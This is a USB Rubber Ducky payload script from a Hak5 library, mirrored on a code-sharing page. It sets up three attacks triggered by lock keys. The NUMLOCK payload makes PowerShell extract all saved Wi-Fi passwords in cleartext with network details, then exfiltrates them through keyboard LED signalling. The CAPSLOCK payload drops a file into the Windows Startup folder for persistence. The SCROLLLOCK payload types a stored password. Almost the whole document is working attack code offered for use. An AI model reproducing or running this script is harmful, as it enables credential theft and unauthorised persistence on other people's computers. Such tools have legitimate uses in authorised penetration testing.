Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/general/3_Payload_Menu/payload.txt
2968 views
1
REM Three Payloads from LOCK Key Double Press.
2
REM Author: RootJunky
3
REM COMPATABILITY: Windows
4
REM DuckyScript 3.0
5
6
REM set password
7
DEFINE PASS mypassword
8
9
REM Stop and Start the while loop during payload execution with VAR 1 and 2.
10
VAR $stopstart = 1
11
12
REM SCROLLLOCK Payload
13
FUNCTION FUN1()
14
$stopstart = 2
15
WAIT_FOR_SCROLL_CHANGE
16
DELAY 1000
17
STRING PASS
18
ENTER
19
LED_R
20
DELAY 1000
21
LED_OFF
22
$stopstart = 1
23
END_FUNCTION
24
25
REM NUMLOCK Payload
26
FUNCTION FUN2()
27
$stopstart = 2
28
WAIT_FOR_NUM_CHANGE
29
DELAY 500
30
GUI r
31
DELAY 1000
32
STRING Powershell
33
DELAY 500
34
ENTER
35
DELAY 1000
36
STRING $computerPubIP=(Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content
37
ENTER
38
STRING $PublicIP = "Your-Public-IP-Address"
39
ENTER
40
STRING $LocalIP = "Your-Local-IP-Address"
41
ENTER
42
STRING $computerIP = get-WmiObject Win32_NetworkAdapterConfiguration|Where {$_.Ipaddress.length -gt 1}
43
ENTER
44
STRING $Networks = Get-WmiObject Win32_NetworkAdapterConfiguration -Filter "DHCPEnabled=$True" | ? {$_.IPEnabled}
45
ENTER
46
STRING $Wifi = (netsh wlan show profiles) | Select-String ":(.+)$" | % {$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | % {$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize
47
ENTER
48
STRING $Wifi + $PublicIP + $computerPubIP + $LocalIP + $Networks.ipaddress[0] > $env:tmp\z
49
ENTER
50
STRING clear
51
ENTER
52
SAVE_HOST_KEYBOARD_LOCK_STATE
53
STRING $Wifi + $PublicIP + $computerPubIP + $LocalIP + $Networks.ipaddress[0] + (echo "Press NUMLOCK now to EXFIL this data, you have 5 seconds.")
54
ENTER
55
STRING timeout 5
56
ENTER
57
DELAY 6000
58
STRING EXIT
59
REM This only runs if NUMLOCK is press in the 5 second window.
60
IF $_NUMLOCK_ON THEN
61
$_EXFIL_MODE_ENABLED = TRUE
62
$_EXFIL_LEDS_ENABLED = TRUE
63
64
REM Convert the stored credentials into CAPSLOCK and NUMLOCK values.
65
GUI r
66
DELAY 100
67
STRING powershell "foreach($b in $(cat $env:tmp\z -En by)){foreach($a in 0x80,
68
STRING 0x40,0x20,0x10,0x08,0x04,0x02,0x01){if($b-band$a){$o+='%{NUMLOCK}'}else
69
STRING {$o+='%{CAPSLOCK}'}}};$o+='%{SCROLLLOCK}';echo $o >$env:tmp\z"
70
ENTER
71
DELAY 100
72
73
REM Use powershell to inject the CAPSLOCK and NUMLOCK values to the Ducky.
74
GUI r
75
DELAY 100
76
STRING powershell "$o=(cat $env:tmp\z);Add-Type -A System.Windows.Forms;
77
STRING [System.Windows.Forms.SendKeys]::SendWait($o);rm $env:tmp\z"
78
ENTER
79
DELAY 100
80
81
REM The final SCROLLLOCK value will be sent to indicate that EXFIL is complete.
82
WAIT_FOR_SCROLL_CHANGE
83
LED_G
84
$_EXFIL_MODE_ENABLED = FALSE
85
RESTORE_HOST_KEYBOARD_LOCK_STATE
86
END_IF
87
LED_R
88
DELAY 1000
89
LED_OFF
90
$stopstart = 1
91
END_FUNCTION
92
93
REM Capslock payload
94
FUNCTION FUN3()
95
$stopstart = 2
96
WAIT_FOR_CAPS_CHANGE
97
DELAY 500
98
GUI r
99
DELAY 500
100
STRING cmd
101
DELAY 500
102
ENTER
103
DELAY 1000
104
STRING ECHO echo off > "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\rickroll.bat"
105
DELAY 500
106
ENTER
107
STRING ECHO mode con:cols=30 lines=10 >> "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\rickroll.bat"
108
DELAY 500
109
ENTER
110
STRING ECHO start https://youtu.be/sXwaRjU7Tj0?t=57 >> "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\rickroll.bat"
111
DELAY 500
112
ENTER
113
STRING ECHO exit >> "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\rickroll.bat"
114
DELAY 500
115
ENTER
116
STRING exit
117
ENTER
118
LED_R
119
DELAY 1000
120
LED_OFF
121
$stopstart = 1
122
END_FUNCTION
123
124
REM place all lock keys in the off state to start the payload correctly.
125
FUNCTION SETUP()
126
SAVE_HOST_KEYBOARD_LOCK_STATE
127
DELAY 500
128
IF ( $_NUMLOCK_ON == TRUE ) THEN
129
NUMLOCK
130
DELAY 500
131
END_IF
132
IF ( $_SCROLLLOCK_ON == TRUE ) THEN
133
SCROLLLOCK
134
DELAY 500
135
END_IF
136
IF ( $_CAPSLOCK_ON == TRUE ) THEN
137
CAPSLOCK
138
DELAY 500
139
END_IF
140
END_FUNCTION
141
142
REM SCROLLLOCK on to enable button description on ducky startup.
143
SAVE_HOST_KEYBOARD_LOCK_STATE
144
DELAY 1000
145
IF ( $_SCROLLLOCK_ON == TRUE ) THEN
146
DELAY 500
147
GUI r
148
DELAY 1000
149
STRING powershell
150
DELAY 500
151
ENTER
152
DELAY 1000
153
STRING $groups = ('CAPSLOCK = RickRoll','SCROLLLOCK = Password','NUMLOCK = WiFi Password and EXFIL','Double press any of these keys to run the payloads.')
154
ENTER
155
STRING $groups = $groups -join "`n- "
156
ENTER
157
STRING powershell -WindowStyle hidden -Command "& {[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); [System.Windows.Forms.MessageBox]::Show('- $groups','DUCKY USAGE')}"
158
ENTER
159
SETUP()
160
ELSE IF
161
SETUP()
162
END_IF
163
164
REM Constantly monitor scrolllock, numlock, and capslock keys with a while loop.
165
WHILE ( $stopstart == 1 )
166
REM Call FUNCTION 1 with scrolllock press.
167
IF ($_SCROLLLOCK_ON == TRUE) THEN
168
FUN1()
169
REM Call FUNCTION 2 with numlock press.
170
ELSE IF ($_NUMLOCK_ON == TRUE) THEN
171
FUN2()
172
REM Call FUNCTION 3 with capslock press.
173
ELSE IF ($_CAPSLOCK_ON == TRUE) THEN
174
FUN3()
175
END_IF
176
END_WHILE
177
178